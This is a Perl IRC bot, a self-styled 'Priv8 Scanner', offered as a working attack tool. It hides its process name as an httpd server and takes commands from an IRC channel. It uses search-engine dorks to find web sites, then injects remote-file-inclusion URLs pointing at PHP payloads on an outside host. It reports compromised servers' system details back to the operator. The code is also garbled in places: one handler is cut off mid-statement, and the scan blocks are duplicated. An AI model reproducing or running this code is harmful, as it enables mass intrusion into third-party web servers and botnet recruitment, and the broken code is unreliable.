#!/usr/bin/perl ## ViVa Albania ##
# Priv8 Scanner By Cah^yogya ## ViVa Albania ##
# Owned by Cah^Yogya ##
$process = "/usr/sbin/local/httpdssl";
my $command = "!scan";
my $irccmd = "http://www.cerao-aceao.org//cerao/images/file.txt???";
my $spread = "";
my $id = "http://www.cerao-aceao.org//cerao/images/idste.txt";
my $ircserver = "irc.crimeirc.net";
my $port = "6667";
my $nickname = "Seph[".(int(rand(999)))."]";
my $channel = "#opensource";
my $admin = "seph";
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;
my $pid = fork;
exit if $pid;
$0 = "$process" . "\0" x 16;
my $dsp = IO::Socket::INET->new(
PeerAddr => "$ircserver",
PeerPort => "$port",
Proto => "tcp"
) or die "Eroare la conectarea la server!\n";
$dsp->autoflush(1);
print $dsp "NICK $nickname\r\n";
print $dsp "USER Alb 8 * : By KoRn \r\n";
print $dsp "JOIN $channel\r\n";
print $dsp "PRIVMSG $channel :4,19Priv8 Scanner By 4KoRn9 -- AlbTeam -- !! \r\n";
sleep(1);
while ( $line = <$dsp> ) {
$line =~ s/\r\n$//;
if ( $line =~ /^PING \:(.*)/ ) {
print "PONG :$1";
print $dsp "PONG :$1";
}
if ( $line =~ /PRIVMSG $channel :!id/ )
{
my $verifica = $id;
my $req = HTTP::Request->new( GET => $verifica );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /<\?php/ ) {
sleep(1);
display( $dsp, "PRIVMSG $channel :12ID Work!");
}
}
else {
sleep(1);
display( $dsp, "PRIVMSG $channel :12ID Not Work!");
sleep(1);
display( $dsp, "PRIVMSG $channel :12Change ID And Good Scanning!" );
display( $dsp, "QUIT" );
}
}
if ( $line =~ /PRIVMSG $channel :!help/ ) {
sleep(3);
display( $dsp, "PRIVMSG $channel :4,19To Scan Type: 4!scan bug dork");
display( $dsp, "PRIVMSG $channel :4,19For String 4!string");
display( $dsp, "PRIVMSG $channel :4,19For Info Type 4!info");
display( $dsp, "PRIVMSG $channel :4,19To Clear All Log 4!log");
display( $dsp, "PRIVMSG $channel :4,19To Get The Latest Bugs/Holes/Xpls 4!milw0rm");
}
if ( $line =~ /PRIVMSG $channel :!string/ ) {
sleep(1);
display( $dsp, "PRIVMSG $channel :4,19Strings: http://mbcnc.org/dork ");
}
if ( $line =~ /PRIVMSG $channel :!info/ ) {
sleep(1);
display( $dsp, "PRIVMSG $channel :4,19 Priv8 Scanner By AlbTeam ");
display( $dsp, "PRIVMSG $channel :4,19 Created bY Cah^yogya ");
display( $dsp, "PRIVMSG $channel :4,19 Dont Flood Scanner");
}
if ( $line =~ /PRIVMSG $channel :!rfi\s+(.*?)\s+(.*)/){
if(fork() == 0){
my($bug,$dork)=($1,$2);
&lfi($bug,$dork);
exit(0);
}
}
if ($line =~ /PRIVMSG $channel :!system/) {
$uname=`uname -a`;
$uptime=`uptime`;
$distro=`cat /etc/issue`;
$id=`id`;
display( $dsp, "PRIVMSG $channel :4|12.:4System Info12:.4|12 Info : 7 $uname");
display( $dsp, "PRIVMSG $channel :4|12.:4System Info12:.4|12 Uptime : 7 $uptime");
display( $dsp, "PRIVMSG $channel :4|12.:4System Info12:.4|12 Proc. : 7 $processo");
display( $dsp, "PRIVMSG $channel :4|12.:4System Info12:.4|12 ID : 7 $id");
display( $dsp, "PRIVMSG $channel :4|12.:4System Info12:.4|12 OS : 7 $distro");
}
if ($line =~ /PRIVMSG $channel :!milw0rm/) {
my @ltt=();
my @bug=();
my $x;
my $page='';
my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$socke>;
$page="@r";
close($socke);
while ($page =~ m/
(.*)new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Google ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12: SafeMode 8OFF 12:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12Free:9 $free 12Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12: SafeMode 8OFF 12:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Google ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12: SafeMode 4ON 12:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12Free:9 $free 12Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12: SafeMode 8ON 12:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @alltheweb = &alltheweb($dork);
push( my @tot, @alltheweb );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 ALLTHEWEB 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4 $dork");
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 AllTheWeb Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1AllTheWeb ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12: SafeMode 8OFF 12:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1AllTheWeb ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @uol = &uolsub($dork);
push( my @tot, @uol );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 UOL 9 ".scalar(@tot)." * ".scalar(@puliti)." of 4 $dork " );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 UOL Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1UOL ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1UOL ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @altavistaitl = &altavistait($dork);
push( my @tot, @altavistaitl);
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 Altavista IT ".scalar(@tot)." * ".scalar(@puliti)." of $dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Altavista IT Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Altavista IT");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Altavista IT ");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");;
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @asklist = &ask($dork);
push( my @tot, @asklist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 ASK ".scalar(@tot)." * ".scalar(@puliti)." of $dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 ASK Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1ASK");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1ASK");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @mlist = &msn($dork);
push( my @tot, @mlist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 MSN 99 ".scalar(@tot)." * ".scalar(@puliti)." of 4 $dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 MSN Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1MSN");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @mlist = &msn2($dork);
push( my @tot, @mlist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 Google RO 99 ".scalar(@tot)." * ".scalar(@puliti)." of 4 $dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 Google RO Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Google RO");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1Google RO");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
}
}
if ( $line =~ /PRIVMSG $channel :$command\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug= $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @mlist = &msn3($dork);
push( my @tot, @mlist );
my @puliti = &unici(@tot);
display( $dsp, "PRIVMSG $channel 12,1 MSN II 99 ".scalar(@tot)." * ".scalar(@puliti)." of 4 $dork" );
my $uni = scalar(@puliti);
foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp, "PRIVMSG $channel :12,1 MSN II Finished Scan To Dork $dork");
}
my $test = "http://".$site.$bug.$id."?";
my $print = "http://".$site.$bug.$irccmd."?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /princeteam/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1MSN II");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8OFF 12,1:9 $print ");
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /princeteam/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp, "PRIVMSG $channel :4,1MSN II");
display( $dsp, "PRIVMSG $channel :12,1Version9 $Os 12,1: SafeMode 4ON 12,1:9 $print ");
display( $dsp, "PRIVMSG $channel :12,1Uname:9 $un ");
display( $dsp, "PRIVMSG $channel :12,1Id:9 $id1 ");
display( $dsp, "PRIVMSG $channel :12,1Uptime:9 $up ");
display( $dsp, "PRIVMSG $channel :12,1Space: Total:9 $all 12,1Free:9 $free 12,1Used:9 $used ");
display( $dsp, "PRIVMSG $channel :12,1Director:9 $pwd1 ");
display( $dsp, "PRIVMSG $channel :12,1Addr:9 $ip1 ");
display( $dsp, "PRIVMSG $channel :12,1Server Name:9 $name1 ");
display( $dsp, "PRIVMSG $channel :12,1Software:9 $php1 ");
display( $dsp, "PRIVMSG $admin :12,1Version9 $Os 12,1: SafeMode 8ON 12,1:9 $print ");
}
}
}
}
}
exit;
